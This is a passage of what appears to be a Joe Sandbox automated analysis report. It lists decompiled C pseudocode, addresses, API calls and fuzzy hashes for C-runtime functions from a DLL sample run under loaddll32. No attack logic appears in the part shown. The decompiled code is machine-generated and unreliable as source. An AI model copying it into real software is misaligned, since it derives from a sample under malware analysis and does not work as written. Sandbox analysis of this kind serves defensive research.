Opcode Fuzzy Hash: 7651b4ba821510852ec587b69ad0f2818c389f6e8443b938602a8275a797d7eb
Instruction Fuzzy Hash: F8016735918A26AFDF118F54CC14FBE7BF8FB05714F088629F926A2290DB789941DB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA974B4 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6DA974B4(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				intOrPtr _t46;
				signed int _t49;
				void* _t52;
				signed int _t56;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				intOrPtr* _t96;
				intOrPtr* _t98;
				signed int _t99;
				void* _t100;
				intOrPtr* _t101;
				intOrPtr* _t103;
				void* _t106;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t41 ^ _t99;
				_t73 = _a20;
				if(_t73 > 0) {
					_t71 = E6DA90C3D(_a16, _t73);
					_t106 = _t71 - _t73;
					_t4 = _t71 + 1; // 0x1
					_t73 = _t4;
					if(_t106 >= 0) {
						_t73 = _t71;
					}
				}
				_t77 = _a32;
				if(_a32 == 0) {
					_t70 =  *((intOrPtr*)( *_a4 + 8));
					_t77 = _t70;
					_a32 = _t70;
				}
				_t46 = E6DA98F05(_t77, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t73, 0, 0);
				_t101 = _t100 + 0x18;
				_v12 = _t46;
				if(_t46 == 0) {
					L41:
					_pop(_t92);
					_pop(_t95);
					_pop(_t74);
					return E6DA89B91(_t46, _t74, _v8 ^ _t99, 0x400, _t92, _t95);
				} else {
					_t16 = _t46 + _t46 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t46 + _t46 & _t16;
					if(_t49 == 0) {
						_t96 = 0;
						L39:
						_t75 = 0;
						L40:
						E6DA8937B(_t96);
						_t46 = _t75;
						goto L41;
					}
					if(_t49 > 0x400) {
						_t93 = E6DA9458B(_t49);
						if(_t93 == 0) {
							L13:
							_t96 = _t93;
							if(_t93 == 0) {
								goto L39;
							}
							_t52 = E6DA98F05(_a32, 1, _a16, _t73, _t93, _v12);
							_t103 = _t101 + 0x18;
							if(_t52 == 0) {
								goto L39;
							}
							_t97 = _v12;
							_t75 = E6DA9694F(_a8, _a12, _t93, _v12, 0, 0, 0, 0, 0);
							if(_t75 == 0) {
								L19:
								_t96 = _t93;
								goto L39;
							}
							if((_a12 & 0x00000400) == 0) {
								_t31 = _t75 + _t75 + 8; // 0x8
								asm("sbb eax, eax");
								_t56 = _t75 + _t75 & _t31;
								if(_t56 == 0) {
									_t98 = 0;
									L37:
									E6DA8937B(_t98);
									goto L19;
								}
								if(_t56 > 0x400) {
									_t98 = E6DA9458B(_t56);
									if(_t98 == 0) {
										goto L37;
									}
									 *_t98 = 0xdddd;
									L28:
									_t98 = _t98 + 8;
									if(_t98 == 0 || E6DA9694F(_a8, _a12, _t93, _v12, _t98, _t75, 0, 0, 0) == 0) {
										goto L37;
									} else {
										_push(0);
										_push(0);
										if(_a28 != 0) {
											_push(_a28);
											_push(_a24);
										} else {
											_push(0);
											_push(0);
										}
										_push(_t75);
										_push(_t98);
										_push(0);
										_push(_a32);
										_t75 = E6DA98F81();
										if(_t75 == 0) {
											goto L37;
										} else {
											E6DA8937B(_t98);
											L34:
											_t96 = _t93;
											goto L40;
										}
									}
								}
								E6DA89C20(_t56);
								_t98 = _t103;
								if(_t98 == 0) {
									goto L37;
								}
								 *_t98 = 0xcccc;
								goto L28;
							}
							_t65 = _a28;
							if(_t65 == 0) {
								goto L34;
							}
							if(_t75 <= _t65) {
								_t75 = E6DA9694F(_a8, _a12, _t93, _t97, _a24, _t65, 0, 0, 0);
								if(_t75 != 0) {
									goto L34;
								}
							}
							goto L19;
						}
						 *_t93 = 0xdddd;
						L12:
						_t93 = _t93 + 8;
						goto L13;
					}
					E6DA89C20(_t49);
					_t93 = _t101;
					if(_t93 == 0) {
						goto L13;
					}
					 *_t93 = 0xcccc;
					goto L12;
				}
			}

0x6da974b9
0x6da974ba
0x6da974bb
0x6da974c2
0x6da974c6
0x6da974cd
0x6da974d3
0x6da974d9
0x6da974dc
0x6da974dc
0x6da974df
0x6da974e1
0x6da974e1
0x6da974df
0x6da974e3
0x6da974e8
0x6da974ef
0x6da974f2
0x6da974f4
0x6da974f4
0x6da97510
0x6da97515
0x6da97518
0x6da9751d
0x6da97690
0x6da97693
0x6da97694
0x6da97695
0x6da976a1
0x6da97523
0x6da97525
0x6da9752a
0x6da9752c
0x6da9752e
0x6da97683
0x6da97685
0x6da97685
0x6da97687
0x6da97688
0x6da9768e
0x00000000
0x6da9768e
0x6da97539
0x6da97554
0x6da97559
0x6da97564
0x6da97564
0x6da97568
0x00000000
0x00000000
0x6da9757b
0x6da97580
0x6da97585
0x00000000
0x00000000
0x6da9758b
0x6da975a2
0x6da975a6
0x6da975c1
0x6da975c1
0x00000000
0x6da975c1
0x6da975b0
0x6da975ed
0x6da975f2
0x6da975f4
0x6da975f6
0x6da97675
0x6da97677
0x6da97678
0x00000000
0x6da9767d
0x6da975fa
0x6da97615
0x6da9761a
0x00000000
0x00000000
0x6da9761c
0x6da97622
0x6da97622
0x6da97627
0x00000000
0x6da97643
0x6da97645
0x6da97646
0x6da9764a
0x6da9766d
0x6da97670
0x6da9764c
0x6da9764c
0x6da9764d
0x6da9764d
0x6da9764e
0x6da9764f
0x6da97650
0x6da97651
0x6da97659
0x6da97660
0x00000000
0x6da97662
0x6da97663
0x6da97669
0x6da97669
0x00000000
0x6da97669
0x6da97660
0x6da97627
0x6da975fc
0x6da97601
0x6da97605
0x00000000
0x00000000
0x6da97607
0x00000000
0x6da97607
0x6da975b2
0x6da975b7
0x00000000
0x00000000
0x6da975bf
0x6da975de
0x6da975e2
0x00000000
0x00000000
0x6da975e8
0x00000000
0x6da975bf
0x6da9755b
0x6da97561
0x6da97561
0x00000000
0x6da97561
0x6da9753b
0x6da97540
0x6da97544
0x00000000
0x00000000
0x6da97546
0x00000000
0x6da97546

APIs

__alloca_probe_16.LIBCMT ref: 6DA9753B
__alloca_probe_16.LIBCMT ref: 6DA975FC
__freea.LIBCMT ref: 6DA97663

Part of subcall function 6DA9458B: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 6DA945BD

__freea.LIBCMT ref: 6DA97678
__freea.LIBCMT ref: 6DA97688

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 21054bad0b019baf278c25f1505abf53a85cb1192e725219dcd1f11a992d80e2
Instruction ID: c3990e0584ed964756b8f4f5c62e4e693512c7a4c58417d5accc161b3057ffc9
Opcode Fuzzy Hash: 21054bad0b019baf278c25f1505abf53a85cb1192e725219dcd1f11a992d80e2
Instruction Fuzzy Hash: DA518376A2C2176FEF118FA88D40EBB36E9EF45654F1A4128FE14DE250E771CC9186B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DA82D40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6DA82D40(void* __ebx, void* __ecx, signed int _a4, char _a8) {
				char _v24;
				char _v32;
				intOrPtr _v48;
				signed int _t20;
				void* _t22;
				void* _t32;
				signed char _t35;
				intOrPtr* _t37;
				char* _t40;
				intOrPtr* _t42;
				intOrPtr _t45;

				_t32 = __ebx;
				_t20 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t20;
				_t35 =  *(__ecx + 0x10) & _t20;
				if(_t35 == 0) {
					return _t20;
				} else {
					if(_a8 != 0) {
						E6DA8AA9D(0, 0);
					}
					if((_t35 & 0x00000004) == 0) {
						_t40 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t40 = "ios_base::badbit set";
					}
					_t22 = E6DA825A0( &_v32);
					_t37 =  &_v24;
					E6DA82C70(_t32, _t37, _t40, _t22);
					E6DA8AA9D( &_v32, 0x6dab17a0);
					asm("int3");
					_t45 = _v48;
					asm("xorps xmm0, xmm0");
					_t42 = _t37;
					 *_t42 = 0x6daa4214;
					asm("movq [eax], xmm0");
					_t14 = _t45 + 4; // 0x4
					E6DA8A701(_t14, _t42 + 4);
					 *_t42 = 0x6daaf434;
					 *((intOrPtr*)(_t42 + 0xc)) =  *((intOrPtr*)(_t45 + 0xc));
					 *((intOrPtr*)(_t42 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10));
					 *_t42 = 0x6daaf45c;
					return _t42;
				}
			}

0x6da82d40
0x6da82d4c
0x6da82d4f
0x6da82d55
0x6da82d57
0x6da82d64
0x6da82d59
0x6da82d5d
0x6da82d6b
0x6da82d6b
0x6da82d73
0x6da82d89
0x6da82d75
0x6da82d75
0x6da82d75
0x6da82d90
0x6da82d97
0x6da82d9b
0x6da82daa
0x6da82daf
0x6da82db4
0x6da82db7
0x6da82dbb
0x6da82dc1
0x6da82dc7
0x6da82dcb
0x6da82dcf
0x6da82dd4
0x6da82de3
0x6da82de8
0x6da82deb
0x6da82df4
0x6da82df4

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6DA82DCF

Part of subcall function 6DA8AA9D: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,6DA88868,?,6DAB0F8C,0000001D,WIPTsfDddTRsYDKObDdZHPEivdAcq,0000001D), ref: 6DA8AAFD

Strings

ios_base::eofbit set, xrefs: 6DA82D84
ios_base::badbit set, xrefs: 6DA82D75
ios_base::failbit set, xrefs: 6DA82D7F

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 24f4e300eff45bed9b588072df1a4168bd1710bf3a5cefe4a13a60437729c60e
Instruction ID: 8a843641e7d284fcac228aa9e7b56d39ad65b5b1d836ee6838e44b31d5541755
Opcode Fuzzy Hash: 24f4e300eff45bed9b588072df1a4168bd1710bf3a5cefe4a13a60437729c60e
Instruction Fuzzy Hash: 561106B251C7056FC714CF68C801BA6B7E8BF41210F18C61AFD658B682EB30E8D4CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9FB75 Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E6DA9FB75(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(E6DAA2846);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0x6dab3014; // 0x6c4e8ceb
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x6dad5858 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E6DA8F860(_t265, _t291, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x6dad5858 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x6dad5858 + _v84 * 4) + _t300 + 0x2d) =  *( *(0x6dad5858 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E6DA954AB(_t273, _t292,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E6DA954AB(_t273, _t292);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x6dab3900; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0x6dad5858 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E6DA9E2DE( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x6dab3900)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0x6dad5858 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E6DA8AB10( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0x6dad5858 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E6DA9E2DE( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E6DA98F81(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E6DA89B91(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x6da9fb7a
0x6da9fb7c
0x6da9fb87
0x6da9fb88
0x6da9fb8b
0x6da9fb90
0x6da9fb92
0x6da9fb98
0x6da9fb9c
0x6da9fba2
0x6da9fba7
0x6da9fbad
0x6da9fbb0
0x6da9fbb3
0x6da9fbb6
0x6da9fbb9
0x6da9fbbc
0x6da9fbc6
0x6da9fbcd
0x6da9fbd5
0x6da9fbd8
0x6da9fbde
0x6da9fbe2
0x6da9fbe5
0x6da9fbe9
0x6da9fbe9
0x6da9fbf1
0x6da9fbf9
0x6da9fbfe
0x6da9fbff
0x6da9fc00
0x6da9fc01
0x6da9fc04
0x6da9fc06
0x6da9fc0c
0x6da9fc12
0x6da9fc15
0x6da9fc17
0x6da9fc1a
0x6da9fc23
0x6da9fc29
0x6da9fc2c
0x6da9fc33
0x6da9fc3a
0x6da9fc3d
0x6da9fd77
0x6da9fd7b
0x6da9fd7e
0x6da9fda1
0x6da9fda7
0x6da9fda9
0x6da9fdad
0x6da9fdde
0x6da9fde1
0x6da9fde3
0x00000000
0x6da9fdaf
0x6da9fdaf
0x6da9fdb2
0x6da9fdb5
0x6da9fdb8
0x6da9ff02
0x6da9ff10
0x6da9ff19
0x6da9fdbe
0x6da9fdc8
0x6da9fdcd
0x6da9fdd0
0x6da9fdd3
0x6da9fdd9
0x00000000
0x6da9fdd9
0x6da9fdd3
0x6da9fdb8
0x6da9fd80
0x6da9fd87
0x6da9fd8a
0x6da9fd8d
0x6da9fd8f
0x6da9fd92
0x6da9fd99
0x6da9fd9b
0x6da9fde4
0x6da9fde7
0x6da9fde8
0x6da9fded
0x6da9fdf0
0x6da9fdf3
0x6da9fdf9
0x00000000
0x6da9fdf9
0x6da9fdf3
0x6da9fc43
0x6da9fc46
0x6da9fc48
0x6da9fc4a
0x6da9fc4e
0x6da9fc4f
0x6da9fc53
0x00000000
0x00000000
0x00000000
0x6da9fc53
0x6da9fc58
0x6da9fc5a
0x6da9fc5f
0x6da9fd1f
0x6da9fd26
0x6da9fd27
0x6da9fd2a
0x6da9fd2c
0x6da9fedc
0x6da9fede
0x00000000
0x6da9fee0
0x6da9fee0
0x6da9fee3
0x6da9fef2
0x6da9fef6
0x6da9fef7
0x6da9fef7
0x00000000
0x6da9fefb
0x00000000
0x6da9fd32
0x6da9fd37
0x6da9fd3a
0x6da9fd3d
0x6da9fd43
0x6da9fd4c
0x6da9fd57
0x6da9fd5c
0x6da9fd5f
0x6da9fd62
0x6da9fd6b
0x6da9fd6b
0x6da9fd6e
0x00000000
0x6da9fd6e
0x6da9fd62
0x6da9fc65
0x6da9fc68
0x6da9fc6e
0x6da9fc70
0x6da9fc7d
0x6da9fc7e
0x6da9fc81
0x6da9fc84
0x6da9fc89
0x6da9fead
0x6da9feaf
0x6da9feb1
0x6da9feb4
0x6da9feb7
0x6da9fec3
0x6da9fec6
0x6da9fec8
0x6da9fec9
0x6da9fecd
0x6da9fed0
0x6da9fed0
0x6da9fed4
0x6da9fed4
0x6da9fed4
0x6da9fed7
0x6da9fed7
0x6da9fc8f
0x6da9fc8f
0x6da9fc92
0x6da9fc94
0x6da9fc97
0x6da9fc99
0x6da9fc9d
0x6da9fc9e
0x6da9fc9f
0x6da9fca3
0x6da9fca8
0x6da9fcb2
0x6da9fcb7
0x6da9fcba
0x6da9fcba
0x6da9fcbd
0x6da9fcc0
0x6da9fcc2
0x6da9fcc5
0x6da9fcce
0x6da9fcd2
0x6da9fcd3
0x6da9fcda
0x6da9fce0
0x6da9fce8
0x6da9fcf3
0x6da9fcf8
0x6da9fd03
0x6da9fd08
0x6da9fd0e
0x6da9fd17
0x6da9fd71
0x6da9fd71
0x6da9fdfc
0x6da9fe01
0x6da9fe13
0x6da9fe18
0x6da9fe1b
0x6da9fe20
0x6da9fe3b
0x6da9ff1e
0x6da9ff24
0x6da9fe41
0x6da9fe41
0x6da9fe4c
0x6da9fe4e
0x6da9fe51
0x6da9fe5a
0x6da9fe64
0x00000000
0x6da9fe66
0x6da9fe68
0x6da9fe6a
0x6da9fe83
0x00000000
0x6da9fe89
0x6da9fe8d
0x6da9fe93
0x6da9fe96
0x6da9fe9c
0x6da9fe9f
0x00000000
0x6da9fe9f
0x6da9fe8d
0x6da9fe83
0x6da9fe64
0x6da9fe5a
0x6da9fe3b
0x6da9fe20
0x6da9fd0e
0x6da9fc89
0x6da9fc5f
0x00000000
0x6da9fea2
0x6da9fea2
0x6da9feab
0x6da9ff26
0x6da9ff2b
0x6da9ff33
0x6da9ff34
0x6da9ff35
0x6da9ff41
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(6C4E8CEB,?,00000000,?), ref: 6DA9FBD8

Part of subcall function 6DA98F81: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6DA97659,?,00000000,-00000008), ref: 6DA9902D

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6DA9FE33
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6DA9FE7B
GetLastError.KERNEL32 ref: 6DA9FF1E

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 9671e62ca3c69a2b02c7bba29f9da7ab402fb30b711d34cbddfc8ca461f86663
Instruction ID: 84e37442454f29bde58b2160e63c2f8858fba6e6983ff3edc45f44dc3cc54ec1
Opcode Fuzzy Hash: 9671e62ca3c69a2b02c7bba29f9da7ab402fb30b711d34cbddfc8ca461f86663
Instruction Fuzzy Hash: 99D15A75D186599FCB01CFA8C880AEDBBF5FF09314F18852EE965EB245D730A982CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8C588 Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E6DA8C588(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x6dab11e0);
				E6DA89CA0(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
